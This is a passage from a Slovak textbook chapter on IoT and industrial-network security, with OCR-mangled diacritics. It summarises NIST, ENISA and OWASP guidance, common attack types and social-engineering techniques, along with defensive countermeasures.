programovatelné logické automaty (PLC), pri adresovani ich jedineéné poZiadavky na vykon,
spolahlivost a bezpecnost. Dokument poskytuje prehlad o ICS a typickymi systémovymi topoldgiami,
identifikuje typické hrozby a zranitelnosti tychto systémov a poskytuje odporucila bezpecnostné
protiopatrenia na zmiernenie suvisiacich rizik.

Dokument 800-82 nadvazuje na 800-53, ktory je zamerny na principy a metriky bezpecnosti
a ochrany sukromia vladnych informacnych systémov a organizacii. Venuje sa kfi¢ovym oblastiam,
ktoré je potrebné vo fabrike ¢i inom vyrobnom podniku mat spolahlivo oSetrené. Ide napriklad o:

priemyselné kontrolné systémy (dalej ICS),
hodnotenie rizik ICS a ich riadenie,

vyvoj a nasadenie bezpecnych ICS,
architektara bezpecnych ICS,

aplikacia bezpecnostnych prvkov do ICS.

Eurdpska agentdra pre bezpecnost sieti a informdcii (oznacovana aj ako ENISA), realizovala v roku
2018 analyzu aktualneho stavu kybernetickej bezpecnost vyrobného priemyslu a vytvorila dokument,
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ktory prestavuje stibor odporiéani, takzvanych best-practice pre oblast kybernetickej bezpecnosti
pre loT v kontexte Smart Manufacturingu.

Z prieskumu bolo zistené, Ze az 65 % spolocnosti veri, Ze 10T so sebou prindsa bezpecnostné rizika.
Medzi hlavné problémové oblasti a vyzvy, ktoré so sebou loT prinasa boli zaradené:

zranitelné komponeny,

manazZment procesov,

zvySena konektivita,

Zivotny cyklus IT,

komplexnost dodévatelskych retazcov,
dlhodobo existujuce systémy,
nezabezpecené protokoly,

ludsky faktor,

nevyuzita funkcionalita,

aktualizacie systémov.

Pri podrobnejSej analyze a porovnani smernice NIST 800-82 a vystupov prieskumu agentury ENISA, je
vidiet, Ze obe dokumenty adresuju a snazia sa riesit rovnaké problémy. Ako bude popisané neskor
v dalSom texte, niektoré z tychto problémovych oblasti boli identifikované aj organizaciou OWASP.
V kone¢nom dosledku, nech siahneme po akomkolvek dokumente, vidy sa dopracujeme k rovnakej
oblasti a problémom, na ktoré sa musime zamerat aby sme dokazali vytvorit a nasadit bezpeény loT
produkt do vyrobnej praxe. Taktiez odporutcania, ktoré vyplyvaju z uvedenych dokumentov su ¢asto
velmi podobné.

TIP!

Stadium kybernetickej bezpeénosti a procesnych oblasti nie je jednoduché. Obzvlast v situdcii
kedy citatelovi chyba relevantna prakticka skisenost. Tieto skisenosti sa ¢asto daju ziskat len
v praxi. Avsak pristup ku korporatnemu prostrediu nie je umoZzneny kazdému.

V tomto pripade odporucame aby si Studenti vyskasali simulovany vyvoj loT rieSenia a jeho
podrobnenie otvorenej konstruktivnej kritike v pracovnej skupine (napriklad ina skupina
Studentov, trieda a podobne). Forma realizicie je velmi otvorend aje limitovana len
predstavivostou pedagoga.
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Struc¢nd sumarizacia odporucani pre bezpecnu loT infrastruktiru a produkt je nasadenie tychto
mechanizmov:

vypracovanie bezpecnostnych politik, postupov, skoleni a vzdeldvacich materialov, ktoré sa
Specificky uplatriuju pre ICS,

zvazenie bezpecnostnych zasad a postupov ICS zaloZzenych na klasifikaChom systéme pre
stupen ohrozenia,

nasadenie prisnejsSich bezpecnostnych opatreni v zavislosti od situacie ako sa zvySuje Uroven
hrozieb,
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rieSenie otazky bezpeCnosti pocas celého Zivotného cyklu ICS (ndvrh, obstardvanie,
implementacia, udrzba, vyradenie z prevadzky),

implementacia viacvrstvovej topoldgie siete pre ICS,

logické oddelenie medzi ICS a podnikovou sietou,

vyuZivanie prvkov demilitarizovanej zony (takzvané DMZ),

zaistenie redundancie pre kritické prvky infrastruktury,

vypnutie nepouzivanych sluzieb, komponentov, komunikacnych protokolov,
obmedzenie fyzického pristupu k sieti a zariadeniam ICS,

vyuZivanie nezavislych mechanizmou autentifikacie ICS,

aplikacia Sifrovania pre komunikaciu a ukladanie dat,

testovanie a aplikacie bezpecnostnych zaplat,

sledovanie a monitorovanie kritickych prvkov a sluzieb infrastruktury a ICS.

Prax ukazuje, Ze najuspesnejsou metdédou na zabezpeclenie ICS je zhromazdovanie odporiucanych
postupov v priemysle a aplikovat ich proaktivnhym pristupom. Odporuca sa forma kolaborativheho
usilia medzi manazmentom, inZiniermi ICS systémov, IT oddelenim a déveryhodnym poradcom pre
priemyselnt automatizaciu.

6.2.1 Priemyselnd siet

Pracovné dokumenty od organizacii ako NIST alebo ENISA pojedndavaju o zaujimavych pristupoch
a problémoch priemyselnych sieti. Jednym z takychto vystupov je aj porovnanie klasickej firemnej
pripadne korporatnej siete a priemyselnej siete, kde su pripojené kontrolné a riadiace systémy pre
ovladanie vyrobnych zariadeni. Existuje medzi nimi niekolko kli¢ovych rozdielov. Priklad je popisany
v nasledujucej tabulke 6.1:

IT Oblast Korporatna siet Priemyselna siet

Antivirus BeZné az velmi rozsSirené. Nezvycajné. Narocné nasadit a
spravovat efektivne.

Zivotny cyklus 2-3 rok. Tzv. multi-vendor Priblizne 20 rokov. Zariadenia
technologii prostredie (zariadenia od r6znych jedného vyrobcu.
vyrobcov).
Outsourcing BeZné az velmi rozsirené. Mnoho Operativa je outsourcovana,
poskytovatelov sluzieb. ale zvycajne len jednému

poskytovatelovi.

Aplikacia zaplat Pravidelné a planované. Nezvycajné, neplanované,
zavislé od vyrobcu.

Aplikacia zmien Pravidelné a planované. Prisne riadené a vysoko
konfiguracie komplexné.

Prenos kritickych Vo vSeobecnosti su oneskorenia Oneskorenia su
informacii akceptované neakceptovatelné
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Dostupnost Vo vSeobecnosti su oneskorenia 24x7x365 (kontinualne)
akceptované
Znalosti IT bezpecnosti | Stredna Uroven. Okrem fyzickej bezpecnosti je
(pristupy a praktiky) uroven znalosti nizka.
Testovanie a audit Sucast dobrého security programu. | Obcasné testovanie vypadkov.
Fyzicky zabezpecenie Zabezpecené (tzv. secure rooms) Vzdialené, bez ludského
zasahu.

Tabulka 6.1 — Porovnanie sieti

Velmi ¢astym problémom v priemyselnych sietiach je pouZivanie bezdrotovych sieti, ktoré su casto
po instalacii ponechané v predvolenych nastaveniach. Velmi ¢asto je vidiet nedostatky v chybajlcich
kontrolnych zoznamoch (tzv. access-list), chybajucom alebo nespravne nastavenej enkrypcii, Ci
chybajucej sietovej segmentacii.

Ako by mala vyzerat bezpecne navrhnutad siet priemyselného podniku popisuje obrazok 6.1

g '
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Obrazok 6.1 — Bezpecna architektura priemyselnej siete

Zdroj [29]
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6.3 OWASP loT

OWASP je neziskova organizacia, ktora zastresuje a podporuje otvorenu komunitu vyvojarov, ktori sa
snazia vytvarat, prevadzkovat a udrZiavat bezpecné softvérové rieSenia. Jednym z mnohych
projektov, ktoré OWASP prevadzkuje je aj projekt loT bezpecnosti (OWASP Internet of Things
Project).

Projekt je navrhnuty tak, aby pomohol vyrobcom, vyvojarom a spotrebitelom lepsie porozumiet
bezpecnostnym otazkam suvisiacim s loT produktmi a umoznit kazdému v akomkolvek kontexte robit
lepsie bezpecnostné rozhodnutia pri vytvarani, nasadzovani alebo hodnoteni technolégii a produktov
z oblasti loT.

Jednym zo zédkladnych cielov projektu je poskytnut navod, ako identifikovat cielové oblasti, ktoré su
spolo¢né pre vacsinu loT systémov a vyzaduji pozornost. Spomedzi velkého mnoiZstva vlastnosti
systémov bolo vybranych niekolko najdélezitejsich, ktoré je potrebné zhodnotit, otestovat a vhodne
osetrit. Patria medzi ne:

kontrola pristupu,
rozhranie pristupu,
pamét zariadeni,
komunikacia,
aktualizacia.

TIP!

Vzhladom na to, Ze kazdy loT projekt, jeho nasadenie a prostredie je iné, je dblezité, aby sme
pred uskutoénenim kazdého kroku zvazili vyhody anevyhody implementacie uvedeného
odporucania.

6.3.1 Kontrola pristupu

Pri loT zariadeniach, sa pracuje sinformaciami, Casto aj citlivého charakteru, ako napriklad udaje
o fyzickej osobe, jej polohe, fyziologickych funkcidch a podobne. Pri obojsmernej komunikacii,
napriklad v pripade termostatu, je moiné prostrednictvom internetu nastavovat vykurovanie
v domacnosti. Pri tychto pripadoch sa musi obmedzit, kto ma pristup k datam a jednotlivym funkciam
loT systému.

Medzi hlavné problémy oblasti kontroly pristupu patria:

autentifikacia a autorizacia - musi sa overit, ¢i pouZivatel (alebo systém) je ten, za ktorého sa
vydava (napriklad admin systému) a ¢i méze vykonadvat poZadované operacie (napriklad
restart zariadenia),

sprava relacii pouZivatelov (session management) - spravne osetrenie procesu prihlasenia,
odhlasenia, zabranenie zneuZitia existujlcej relacie,
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implicitna dovera - automaticka dovera opacnej strane komunikdacie, ktord nevyzaduje
autentifikaciu a autorizaciu,

vyradenie systému z prevadzky - oSetrenie Uplného Zivotného cyklu systému, aj po jeho
vyradeni z prevadzky,

aplikacia bezpecnostnej politiky - ako bude bezpecnostna politika aplikovana a vynucovana,
strata pristupov - Co v pripade straty kontroly nad systémom.

Priklad potencidlnych rieseni vyssie uvedenych problémov:

vyzadovat aplikaciu silnych hesiel,

uprednostnit silni autentifikaciu (strong-auth - certifikaty) pred slabou autentifikaciou
(weak-auth - meno a heslo),

vytvorenie a oddelenie pouzZivatelskych uloh a skupin (user access roles),

dvojfaktorova autentifikacia (napriklad heslo + sms),

pouzivanie Sifrovanej komunikacie (SSL, TLS),

bezpecny mechanizmus obnovy a zmeny hesla,

mechanizmus expiracie pouZzivatelskych reldcii, uctov a hesiel,

obmedzenie admin/root pristupu.

6.3.2 Rozhrania pristupu

KedZe loT zariadenie musi poskytovat sluzby a je potrebné ho spravovat, musi spristupnit rozne typy
vstupno-vystupnych rozhrani. Do zariadenia je potrebné nahrat riadiaci systém aten nasledne
nakonfigurovat. Pocas funkcionality zariadenia mdze byt v zavislosti od typu poskytovanej sluzby
pristupné napriklad:

web rozhranie,

rozhranie prikazového riadku (CLI) s pristupom pre Ucet administratora, alebo pouZivatela,
aplikacno-programové rozhranie (API) pre komunikaciu sinymi aplikaciami - napr. cloud,
mobilné aplikacie.

Dobre zname rizikd a zranitelnhosti, ktoré sa vjednoucelovych (embedded) zariadeniach a web
systémoch vyskytuju, je potrebné osetrit este pred zavedenim do komerénej produkcie. Kazdy
systém bez ohladu na jeho typ alebo miesto nasadenia ma svoje slabé miesta. Pre ukazku si pozrime
prehlad troch systémov, ktoré sa objavuju v loT:

riadiaci systém,
aplikacné web rozhranie,
APl rozhranie.

Riadiaci systém

Systém, ktorého ulohou je kontrola ariadenie fungovania loT zariadenia. Riadiace systémy sa
objavuju vo vsetkych oblastiach automatizacie avyrobnych procesov. Su casto zloZzené
z hardvérovych a softvérovych komponentov, ktoré vzajomne komunikuju a poskytuju pouzivatefom
sluzbu. Pre zabezpecenie tychto riadiacich systémov je potrebné mysliet na dékladné zabezpedenie
nasledujucich oblasti:
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vymenitelné pamitové moduly - napriklad SD karty a iné moduly, ktoré sa daju jednoducho
odpojit, sa s pomocou dalsich nastrojov mozu skimat a analyzovat zapisané subory,
extrakcia firmvéru - extrakcia kédu pre jeho reverznu analyzu (reverse engineering) moze
mat za nasledok napriklad unik hesiel,

uprava firmvéru - systém nevykona kontrolu integrity kddu a tym nezisti, Ze spista upraveny
firmveér,

root/admin pristup do prikazového riadku - plnd kontrola nad systémom cez vzdialené
pripojenie,

moznost elevacie prav - chybou v systéme sa ziskaju vyssie prava, nez boli oficialne pridelené
(znama chyba ShellShock - CVE-2014-6271),

privedenie systému do nestabilného stavu - napriklad buffer overflow, neosetrené delenie
nulou, chybné pouZitie datovych typov.

Web rozhranie

Webové rozhranie sluzi ako prostriedok pre komunikaciu pouzivatela s IoT systémom pripojeného do
internetu. To vSetko prostrednictvom webového prehliadaca, ktory ma pouZivatel vo svojom
teleféne alebo laptope. Pri navrhu arealizicii webovych rozhrani je vhodné sa zamysliet nad
zabezpecenim, ktoré bolo nasadené proti najcastejSie vykonavanym utokom:

SQL injection - textovy vstup ako databazovy dopyt, ktory nebol osetreny filtrom,

slovnikovy utok - Utok na meno a heslo, kde sa cez skript, metédou pokus-omyl, testuje
spravne meno a heslo. Hesld mdzu byt Citané z predpripraveného slovnika pripadne
vytvarané generatorom,

cross-site scripting - vzdialené spustanie skriptov, do spravy sa zada znenie skriptu, ktoré sa
spusti na vzdialenom systéme,

cCielené zamknutie uctu - cielene zadavanie zlych prihlasovacich udajov,

predvolené prihlasovacie udaje - pouZivanie mena a hesla, napriklad: admin/admin.

Pre zvysenie bezpecnosti riadiaceho systému a webového rozhrania existuje niekolko odporucanych
postupov:

obmedzit pocéet pokusov prihlasenia,

minimalizovat pocet fyzickych portov na hardvérovej doske,

obmedzit pristup ku konfiguraénym ¢astiam a modulom systému,

zabezpecdit moznost vzdialenej aktualizacie,

pri procese aktualizacie, alebo Uprave systému vyzadovat overenie integrity (neporusenosti
suboru napriklad vyuzitim digitalnych podpisov),

vyuzivat pristup minimalnych prav - pouzivatelsky Ucet dostane moznost len tych operacii,
ktoré potrebuje,

vyuzivat Sifrované uUloziska, Sifrované aktualizacné subory.

API rozhranie
Aplikacné programové rozhranie (API) je uréené pre vyvojarov partnerskych spoloc¢nosti, ktori chcu
pouzivat funkcie systému. Napriklad spolo¢nost Google poskytuje pre svoje produkty APl rozhrania.

Tie umoznuju programatorom inych firiem vytvorit aplikaciu, ktord dokaze komunikovat s Google
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databazou reklamnych statistik. Inym prikladom st Google Mapy. Firma takto dokaze integrovat do
svojej webovej aplikacie funkcionalitu, ktora vyhladava trasy a objekty na Google Mapach.

Pri pohlade na situaciu z pohladu velkej firmy, ktora spristupriuje svoje databazy externym firmam, je
potrebné zabezpedit API. Firma si takto chrani svoje data a infrastruktiru preditokom a poskodenim
dat, ktoré mozu nastat napriklad aj nespravnym pouzivanim APl rozhrania. Pri ich nedostato¢nom
zabezpeceni sa najcastejSie objavuju tieto problémy:

Slaba autentifikacia - pre autentifikaciu je v sucasnosti k dispozicii niekolko typov protokolov. Kazdy
z nich ma svoje vyhody a nevyhody. Rozdiel je casto aj v komplexnosti nasadenia avyZzadovanej
infrastrukture. Medzi najc¢astejSie nasadzované autentifikacné protokoly patria:

meno a heslo.

kfuce pre pristup aplikacii do systému (tzv. API) .

keyed-hash message authentication code (HMAC).

open Authenticaion (OAuth).

JSON Web-Token (JWT).

lightweight directory access protocol (LDAP).

Slaba autorizacia - Samotna autentifikacia klienta nie je dostatocna. Vidy je potrebné overit, aké
pristupové prava boli pridelené pouzivatelom. Obycajny pouzivatel nemoze mat rovnaké prava
a kontrolu nad systémom ako ma spravca.

Nachylnost pre utoky typu injection - Injection Utoky sa objavuju vSade tam, kde sa spracovava
pouzivatelsky vstup. Podstatou Utoku je, Ze pouzivatel zadd namiesto mena napriklad ¢ast SQL
prikazu. V pripade, Ze zariadenie tento vstup neodfiltruje, mdze ho chybne interpretovat ako prikaz
systému a na obrazovke zobrazi vystup prikazu - napriklad celd tabulka s login idajmi a ich heslami.

Implicitna dovera v klientov - modernym trendom su mobilné aplikacie, ktoré ziskavaju udaje z loT
systémov a zobrazuju ich na displeji smartfénu. Zdanlivo jednoducha funkcionalita so sebou prinasa
zasadné bezpecnostné rizika. Aplikacia musi data niekde ziskat, tieto data ale musia byt chranené,
aby si ich nemohol vyZiadat ktokolvek. Princip poskytovania dat je zavisly od zvolenej architektiry loT
systému. Kazdy systém musi aplikovat odlisné mechanizmy ochrany.

Nespravne navrhnuté API zdroje - Pri API volaniach sa pouZivaju takzvané APl zdroje. Ugelom je
zakrytie tzv. backend funkcionality celého systému. Zariadenie napriklad nebude na server posielat
prikaz “select * from temperature_history” ale posle HTTP GET Ziadost o histériu dat vo formate:

“GET https://192.168.100.100/iot/temperature/history/week/”

Riesenie problémov, ktoré sa objavuju pri API rozhraniach, je podobné ako bolo spomenuté pri
chybach webovych a riadiacich systémov.
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TIP!

Pre detailnejSie zozndmenie sa s problematikou webovej bezpecnosti bol vytvoreny nastroj
WebGoat. Ide odemo prostredie vo webovom prehliadaci, kde su pripravené simuldcie
webovych aplikacii s chybami, ktoré musi student najst a zneuzit.

Studentov sprevadza nédvod, ktory vysvetluje koncept systému, podstatu chyby a postup jej

zneuzitia a napravy.

XXE

Inroduction >
General > SN  Resetlesson
Injection Flaws >

© 00000000°

Auemicalion Flaws > Let, s try

Cross-Site Scripting (XSS) > In this assignment you will add a comment to the photo, when
Access Control Flaws > 4
Insecure Communication > : John Doe uploaded a photo.
\==)
Request Forgeries > & 4 24 days ago
W
Vulnerable Components -A9 >
Client side >
Challenges >

Systém WebGoat je open-source produkt od komunity OWASP. Je k dispozicii bezplatne na
stiahnutie cez portal GitHub: https://github.com/WebGoat/WebGoat/releases.

6.3.3 Pamidt zariadeni

Aby zariadenie simulovalo inteligenciu, musi si pamatat velké mnozZstvo dat. Z pohladu architektiry
aplikacie sa do pamate ukladaju dblezité informacie ako:

aplikacny kéd systémovych aplikacii,
parametre a nastavenia systému,
pouzivatelské data,

prihlasovacie udaje,

kfuce, pripadne certifikaty.
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Hackeri ¢asto smeruju svoj Utok na pamat zariadenia, kde sa nachadzaju klicové informacie. Tieto
informacie sa stavaju predmetom dalSej kriminalnej cCinnosti (napriklad cisla kreditnych kariet),
obchodu (predaj udajov, hesiel), priemyselnej SpiondZze (odkopirovanie dizajnu konkurenciou).
Najcastejsie hladané informacie v pamati zariadeni su:

v kéde zapisané prihlasovacie Udaje (anglicky oznac¢ované ako tzv. hardcoded credentials),
citlivé a ladiace URL adresy,

Sifrovacie kltce,

citlivé informacie o funkcnosti lokdlneho a vzdialeného systému,

Udaje o databazovej strukture,

prihlasovacie Udaje v nesifrovanej podobe.

Niektoré z moznych protiopatreni k tymto problémom su:

zbierat a ukladat len minimalne mnoZstvo dat o pouZivateloch,

vsetky citlivé data ulozit v Sifrovanej forme,

pokial je to moZné, anonymizovat data - len pomocou dat nebude mozné jednoducho
identifikovat konkrétnu osobu,

obmedzit pristup k datam - fyzicky, aplikacne,

kazdu dolezZitd operaciu zapisat do logu (zapis, Citanie, aktualizaciu, mazanie),

pokial je to mozné, data zalohovat - odporuca sa fyzicky a geograficky odlisné miesto zalohy.

V niektorych pripadoch si na bezpecnost systémov kladené poziadavky prostrednictvom noriem,
zakonov a inych predpisov. Podobne aj v pripade systémov pouZivanych v oblasti letectva, armady,
mediciny st definované prisne poziadavky, ktoré musia systémy splitiat, aby ich bolo mozné pouzivat.

Preto nové loT produkty, kde je sucastou produktu aj analytickad cast, vyzaduji uz vo faze navrhu
a dizajnu riesenia konzultacie s odbornikmi z oblasti prava, Statistiky a IT bezpecnosti.

6.3.4 Komunikdcia

Ochrana sietovej infrastruktdry je velmi dolezZitd. Zabezpedena siet zarover poskytuje ochranu aj
sietovym zariadeniam, ktoré v tejto sieti komunikujud. Je potrebné zabranit neopravnenému pristupu
do siete.

Dobre navrhnutd topoldgia siete moze predchadzat mnohym sietovym Utokom, alebo
bezpecnostnym hrozbam zaloZzenym na chybach softvéru. S pomocou prvkov ako hardvérovy firewall,
proxy, pristupové zoznamy (ACL na smerovaci), nastavené bezpecnostné politiky sa obmedzuju
spbsoby a cesty komunikacie, ktoré mozu byt utoénikmi zneuZité na prienik do systému.

Obmedzenim pristupu na databazovy server len pre urcité IP adresy, je mozné jednoducho vymedzit
kto sa na server moze pripojit. Mensi pocet pripojeni je jednoduchs$ie monitorovat a riadit. Tymto
spbsobom, aj ked bude databazovy server obsahovat zdvaini bezpeénostni chybu, ju nemdézu
zneuzit nepovolené adresy.

Utocnici sa snaZia prehladdvat siet a identifikovat slabé miesta, ktoré by sa mohli stat ter¢om ich
dalsieho Utoku. Pritomnost slabych miest m6ze mat niekolko rdznych pricin. Zly navrh infrastruktury,
softvérova chyba riadiaceho systému, chybnd konfiguracia, zanedbanie implementacie
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bezpectnostnychpoziadaviek. Uvedené su len niektoré z pricin, ktoré mézu otvorit priestor pre
napadnutie systému. Medzi pomerne Casté chyby patria napriklad:

Verejna dostupnost k zariadeniu - Bez obmedzenia IP adries méZe ktokolvek komunikovat so
zariadenim.

Otvorené sietové porty - v sietovej komunikacii sa pouZivaju takzvané porty. Na zaklade portov
dokaze operacny systém pridelit sietovd komunikaciu konkrétnej aplikacii. Velky pocet otvorenych
portov (stav: listening), znamen3, Ze systém ocakava na tomto porte komunikaciu a pocuva prikazy.
To mbze byt zneuzité a Utoénik takto moze ziskat neopravneny pristup do systému. Systém méze mat
otvorené dva typy portov TCP alebo UDP.

NevyuZivané sietové sluzby - mnoho operacnych systémov modze pri nespravnej konfiguracii mat
zapnuté sietové sluzby, ktoré redlne nepouziva. Pokial na serveri nebeZia napriklad webové stranky,
odportca sa webové sluzby vypnut.

Sifrovana komunikacia - poufzitie $ifrovanej komunikacie sa stalo $tandardom pri online platbéch,
komunikacii s webovym systémom banky ¢i Statnej spravy. Pokial nie je komunikacia Sifrovana,
Citanie datovej Casti paketov je velmi jednoduché.

Protiopatrenia, ktoré pomdzu eliminovat vyssie spomenuté problémy su:

obmedzit pocet adries, ktoré pristupujui ku kritickym systémom na minimum,

zablokovat nepotrebné sietové sluzby,

pouzivat Sifrovanu sietovi komunikaciu (https namiesto http, ssh namiesto telnetu),

oddelit manazmentové data od prevadzkovych dat,

aktualizovat komunikacné kniznice (napr. SSL),

pouzivat restriktivny pristup sietovej komunikacie (vsetko je blokované, povoli sa len to, ¢o si
vyZaduje projekt).

6.3.5 Aktualizacia

Systém, alebo aplikaciu je potrebné neustale aktualizovat. Postupne sa objavuju chyby a nedostatky,
nové zranitelnosti, doplfiaju sa vylepsenia anové funkcie. Vietky tieto problémy rie$i moznost
aktualizacie kédu. V pripade vzdialenej prevadzky systému je takmer jedinou moznostou vzdialend
aktualizacia aplikacie ¢i systému.

= POZNAMKA!

Zakladnym prvkom zaistenia bezpecnosti je kvalitné a dostato¢ne detailné testovanie celého
produktu. Pri dobre navrhnutych testovacich scendroch (tzv. test-case) sa daju identifikovat
chyby v navrhu, implementacil a funkcionalite systému. Testovanie je eSte doleZitejsSie, ak su do
systému integrované open-source nastroje, alebo nastroje a moduly tretich stran, nad ktorymi
nemame plnu kontrolu.

Pri vyvoji alebo integracil systémov je potrebné mat na pamati, Ze Ziaden systém nie je 100%-

EEEEEEEEEEEEEEEEEEEEEEEREN
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ne bezpecny. Situacia, kedy v systéme neboli ndjdene chyby, neznamena, Ze nebudud objavené
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= neskoér. Riziko prelomenia existuje vidy. Ciefom testovania akontroly je snaha overit, Ze
najlahsie sp6soby napadnutia systému su zablokované.

6.4 Typy kybernetickych utokov

Vo svete informacnych a komunikaénych technoldgii sa kazdy den objavuje niekolko desiatok novych

zranitelnosti. Tieto zranitelnosti sa objavuju v dosledku chyb, ktoré vznikli pocas navrhu a realizacie
systému.

Medzi velmi rozsirené kybernetické Utoky patri:

falSovanie (spoofing) - predstieranie identity, resp. zdroja sietovej komunikacie,

zmena (tampering) - zmena dat (databaza, subory, IP adresy, hlavicky paketov) bez
opravnenia, najCastejsie pri prenose po sieti,

popretie (repudiation) - popieranie vykonanej akcie (napriklad zmeny dat),

nedostupnost sluzby (denial of service, DoS) - zahltenie alebo znefunkénenie systému, aby
nedokazal poskytovat svoje sluzby,

unik informacii (information disclosure) - neZiaduce zverejnenie citlivych Udajov o osobach,
firme a jej obchodnych tajomstvach,

elevacia prav (elevation of privilege) - ziskanie pristupovych prav, ktoré neprindlezia danej
osobe,

socidlne inZinierstvo (social engineering) - manipuldcia fudi a zneuzivanie ich dovery pre
ziskanie neopravneného pristupu k informaciam,

fyzicky pristup - odkopirovanie pamate zariadenia, export zdrojovych kédov, pripadne aj
obycajné vypnutie, poskodenie ¢i odcudzenie zariadenia.

6.5 Priebeh utoku

Cinnost hackera je systematickd ¢&innost, ktord vyZaduje pomerne rozsiahlu pripravu, dobré
planovanie, detailné znalosti systémov a pochopenie konceptov zabezpecenia.

Lamanie hesiel do WiFi sieti ¢i obchadzanie licen¢nych cisel pre kancelarsky softvér byva oznacované
ako cracking a pripisuje sa amatérom, ktori si stiahnu néstroj a vo vacsine pripadov skisaju metédu
pokus-omyl. Za proces hackovania systému moze byt povaZzovana aj jeho Uprava pre nové pouzitie.

Proces hackovania systémov sa sklada z niekolkych faz:
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Testovanie

Ziskanie
pristupu

Zahladenie

stop

Obrazok 6.2 - Priebeh utoku

Faza 1: Prieskum a ziskavanie informacii

Prvou fazou je vyber vhodného ciela a ziskanie ¢o najviac informacii, ktoré ndm poskytnu dobry obraz
o fungovani systému, jeho verzii, konfiguracii, zavislych balickoch (dependencies) a slabinach.

Ziskavanie informacii o cieloch Utoku moze byt:

B aktivne - napriklad socialne inZinierstvo,
B pasivne - napriklad odpocuvanie komunikacie.

Socidlne inZinierstvo

Socidlne inZinierstvo je forma psychologickej manipuldcie ludi, za ucelom ziskania privatnych
informdcii. Z pohladu organizacie predstavuju bezni zamestnanci riziko, kedZe disponuju internymi
informaciami.

Vsetky techniky socidlneho inZinierstva su zaloZené na Specifickych vlastnostiach ludského
rozhodovania znameho ako kognitivne predsudky. Tieto vlastnosti suU vyuZivané vréznych
kombinaciach pri utokoch na organizaciu.

Utoky pouZivané v socidlnom inZinierstve mozu byt pouZité na ukradnutie dévernych informaécii
zamestnancov. NajbeZnejsi typ socidlneho inZinierstva sa deje telefonicky. Dal$im prikladom by bolo,
Ze hacker kontaktuje obet na socidlnych sietach azacne s riou konverzaciu. Postupne hacker ziska
doveru obete a nasledne pouziva tuto doveru na ziskanie pristupu k citlivym informaciam, ako su
napriklad informacie o hesle alebo bankovy ucet.
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ZAPAMATAJTE SI!

Je jednoduchsie ziskat pristup do systému cez privatne informacie manipulaciou ¢loveka, ako
prelomit zlozité Sifrovacie kltce.

Existuje niekolko foriem socidlneho inZinierstva. Kazda z nich je zamerana na isty typ ludi.
Pretexting

Technika, ktora vyuZiva predpripraveny scenar za Ucelom presvedéenia obete o nutnosti ziskat
potrebné informdacie alebo finan¢né prostriedky. Pri tejto technike sa Utocnik vydava sa pracovnika
$tatnej spravy, banky, technickej podpory ¢i vySetrovatela, ¢im sa snazi vytvorit pocit, Ze ma pravo
ziskat pozadované informacie. Podobny princip predpripraveného pribehu pouzivaju ludia, ktori pred
nakupnymi centrami tvrdia, Ze ich okradli, stratili telefén a potrebuju sa dostat niekam, preto Ziadaju
ista financ¢nu ciastku na pomoc.

Phising

Technika pre ziskanie privatnych udajov. Typickym prikladom st podvodné emaily od banky, kde je
vloZzeny odkaz s presmerovanim na podvodnu webovul stranku, ktora sa podoba na redlnu stranku
banky. Ak obet zadd svoje (daje prostrednictvom tohto webu, data budd odoslané priamo
utocnikovi.

Spear Phising

Rozdiel oproti obycajnému phisingu je vtom, Ze zasielané e-maily su vysoko osobné. Ciefom je
vytvorit pocit, Ze sprava a vyzadovana akcia sa tykaju len daného jednotlivca.

Baiting (road apples)

Zneuziva zvedavost fudi. Na USB kl'tG¢ sa nahra skodlivy kdd, ktory infikuje poditac. Tento USB klU¢ sa
zamerne necha pohodeny v hotelovom lobby, na verejnej toalete, v ndkupnom centre na lavicke.
Zvedavy clovek si najdeny USB klU¢ vezme a pripoji do svojho pocitaca, ¢im sa infikuje Skodlivym
softvérom - malvérom. Utoénik takto méze ziskat pristup k vzdialenému pocitacu.

Tailgating

Technika, ktord zneuzZiva dobré umysly spolupracovnikov. Vo velkych spoloénostiach, v ¢ase obeda
prechadza vchodom do spolocnosti niekolko desiatok fudi zaroven, ktori sa ¢asto nepoznaju osobne.
Casto sa stdva, ze niekto dobieha z obednej prestavky, tak mu kolega z firmy podrZi dvere aby sa mu
nezatvorili pred nosom. Tuto ¢innost je moiné zneuZit a ziskat pristup do priestorov firmy bez
vlastnictva pristupovej karty. V niektorych firmach ako prevenciu pred tymto utokom pouZivaju
turnikety.

Socidlne inZinierstvo - protiopatrenia

Pre ochranu pred socidlnym inZinierstvom sa daju pouZit r6znorodé opatrenia. NajlepSie vysledky
dosahuje viacvrstvova kombindcia jednotlivych viastnosti a prvkov:
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Vzdelavanie

Na Urovni zamestnanca je nutné neustale vzdeldvanie o novych praktikach v oblasti socidlneho
inZinierstva. Pracovnikov je potrebné poucit kedy/kde/preco/ako by mali zaobchadzat s citlivymi
informaciami. Budovanie pocitu zodpovednosti a spolupatri¢nosti fyzickych oséb zlepsuje ochranu.

Smernice

Vytvorenie bezpecnostnych protokolov, zasad a postupov na zaobchadzanie s citlivymi informaciami.
Hlavnou zasadou je zverejriovat ¢o najmenej citlivych a privatnych informacii.

Identifikacia kIucovych aktiv

Identifikacia citlivych informdacii a hodnotenie ich vystavenia socidlnemu inZinierstvu a poruch
bezpecnostnych systémov (budovy, pocitacovy systém,...)

Kritické myslenie

Pri vSetkych Ziadostiach oinformacie je nevyhnutné aby pouzivatel kriticky zhodnotit ich
relevantnost a opravnenost. Napriklad banka nikdy od svojich klientov neZiada PIN kdody alebo
akékolvek prihlasovacie Udaje do systémov.

Odpoctvanie siete

Pripojenim do pocitaCove] siete azapnutim sietovej karty do monitor médu sa daju ziskavat
informacie o prebiehajicej komunikacii. V pripade WiFi sieti je tento proces omnoho jednoduchsi,
nez je pri kadblovych sietach, kde komunikacia byva zvycajne filtrovana na druhej vrstve, na
prepinacoch (switchoch).

V pripade kablovej siete ethernet su data posielané po fyzickom médiu. Pre zachytenie dat v takejto
sieti je potrebné byt fyzicky pripojeny do siete. To by znamenalo, Ze potencidlny Uto¢nik musi byt
fyzicky v budove.

Ind situacia nastava pri radiovej komunikacii, kde komunika¢nym médiom je vzduch. Pri tomto médiu
je obmedzenie neZiadlceho zachytavania sietovej komunikacie pomerne problematické.

V suicasnosti najrozsirenejsimi postupmi ochrany su:

obmedzenie vysielacieho radiusu - kazdy, kto je mimo dosah signalu, nema pristup k datam,
pouzitie Sifrovania - bez znalosti klicov pre desifrovanie nedokaze utocénik ¢itat data.

Velmi oblibenym nastrojom pre diagnostiku sieti a sietovej komunikacie je Wireshark. Podobnym
nastrojom ako Wireshark je TCPdump, ktory je rozsireny na Unixovych systémoch a byva sucastou
systému uZ v zakladnej instalacii.
